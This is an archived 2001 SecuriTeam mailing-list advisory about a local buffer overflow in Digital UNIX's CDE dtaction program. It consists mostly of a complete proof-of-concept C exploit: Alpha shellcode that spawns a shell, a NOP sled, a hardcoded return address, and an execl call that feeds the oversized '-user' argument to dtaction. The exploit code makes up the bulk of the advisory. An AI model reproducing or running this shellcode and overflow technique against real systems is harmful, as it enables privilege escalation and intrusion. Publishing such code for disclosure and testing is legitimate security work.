[EXPL] Digital UNIX CDE dtaction Vulnerability (proof of concept code, -user)

From: support@securiteam.com
Date: 11/24/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] Digital UNIX CDE dtaction Vulnerability (proof of concept code, -user)
Message-Id: <20011124160441.24840138BF@mail.der-keiler.de>
Date: Sat, 24 Nov 2001 17:04:41 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Digital UNIX CDE dtaction Vulnerability (proof of concept code, -user)
------------------------------------------------------------------------

SUMMARY

A security vulnerability in Digital UNIX's CDE dtaction program allows a
local attacker to cause the program to crash, causing it to execute
arbitrary code.
Below is a proof-of-concept code that can be used to test for this
vulnerability.

DETAILS

Vulnerable systems:
Digital Unix 4.0d

Exploit:
/*
 * dtaction-ex.c
 * tested : Digital Unix 4.0d , OSF1 V4.0 878 alpha
 *
 * cc -o dtaction-ex dtaction-ex.c
 *
 * truefinder , seo@igrus.inha.ac.kr, seo@underground.or.kr
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOP 0x47ff041f
#define ALIGNSIZE (9)
#define BUFSIZE (8199 )
#define RETADDR 0x000000011ffffaa0
#define DEFNOPSIZE 7168

char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 };
char retaddr[] = { 0xa0, 0xea, 0xff, 0x1f, 0x01 , 0x00 };

static char shellcode[] =
        "\x30\x15\xd9\x43" /* subq $30,200,$16 */
        "\x11\x74\xf0\x47" /* bis $31,0x83,$17 */
        "\x12\x94\x07\x42" /* addq $16,60,$18 */
        "\xfc\xff\x32\xb2" /* stl $17,-4($18) */
        "\xff\x47\x3f\x26" /* ldah $17,0x47ff($31) */
        "\x1f\x04\x31\x22" /* lda $17,0x041f($17) */
        "\xfc\xff\x30\xb2" /* stl $17,-4($16) */
        "\xf9\xff\x1f\xd2" /* bsr $16,-28 */
        "\x30\x15\xd9\x43" /* subq $30,200,$16 */
        "\x31\x15\xd8\x43" /* subq $30,192,$17 */
        "\x12\x04\xff\x47" /* clr $18 */
        "\x40\xff\x1e\xb6" /* stq $16,-192($30) */
        "\x48\xff\xfe\xb7" /* stq $31,-184($30) */
        "\x98\xff\x7f\x26" /* ldah $19,0xff98($31) */
        "\xd0\x8c\x73\x22" /* lda $19,0x8cd0($19) */
        "\x13\x05\xf3\x47" /* ornot $31,$19,$19 */
        "\x3c\xff\x7e\xb2" /* stl $19,-196($30) */
        "\x69\x6e\x7f\x26" /* ldah $19,0x6e69($31) */
        "\x2f\x62\x73\x22" /* lda $19,0x622f($19) */
        "\x38\xff\x7e\xb2" /* stl $19,-200($30) */
        "\x13\x94\xe7\x43" /* addq $31,60,$19 */
        "\x20\x35\x60\x42" /* subq $19,1,$0 */
        "\xff\xff\xff\xff"; /* callsys ( disguised ) */
        /* ohhara's shellcode */

int
main(int argc, char *argv[] )
{

        char *buf , *buf_ptr;
        int bufsize , alignsize , offset ;
        int i, totalsize;
        
        bufsize = BUFSIZE ; alignsize = ALIGNSIZE ; offset = 0 ;

        totalsize = alignsize + bufsize ;
         buf = malloc( totalsize ) ;

        memset ( buf, NULL , totalsize );

        memset ( buf, 'A', alignsize );
        buf_ptr = (char *)(buf + alignsize );

        for ( i = 0 ; i < DEFNOPSIZE/4 ; i++ )
                strcat ( buf_ptr , nop );

        strcat ( buf_ptr, shellcode );

        for ( i =0 ; i < bufsize - DEFNOPSIZE - strlen(shellcode) - 8 ;
i++ )
                strcat( buf_ptr ,"A");

        strcat ( buf_ptr , retaddr );
 
        execl ("/usr/dt/bin/dtaction", "dtaction", "-user", buf, NULL );

}

ADDITIONAL INFORMATION

The information has been provided by
<mailto:s1980914@inhavision.inha.ac.kr> SeungHyun Seo.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • SecurityFocus Microsoft Newsletter #165
    ... Tenable Security ... distribute, manage, and communicate vulnerability and intrusion detection ... Microsoft Internet Explorer MHTML Forced File Execution Vuln... ...
    (Focus-Microsoft)
  • SecurityFocus Microsoft Newsletter #174
    ... This issue sponsored by: Tenable Network Security ... the worlds only 100% passive vulnerability ... MICROSOFT VULNERABILITY SUMMARY ... Novell Netware Enterprise Web Server Multiple Vulnerabilitie... ...
    (Focus-Microsoft)
  • [NT] Cumulative Security Update for Internet Explorer (MS04-038)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... CSS Heap Memory Corruption Vulnerability, ... Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 ...
    (Securiteam)
  • SecurityFocus Microsoft Newsletter #171
    ... Better Management for Network Security ... GoodTech Telnet Server Remote Denial Of Service Vulnerabilit... ... ASPApp PortalAPP Remote User Database Access Vulnerability ...
    (Focus-Microsoft)
  • SecurityFocus Microsoft Newsletter #160
    ... MICROSOFT VULNERABILITY SUMMARY ... Geeklog Forgot Password SQL Injection Vulnerability ... Atrium Software Mercur Mailserver IMAP AUTH Remote Buffer Ov... ... Sun Java Virtual Machine Slash Path Security Model Circumven... ...
    (Focus-Microsoft)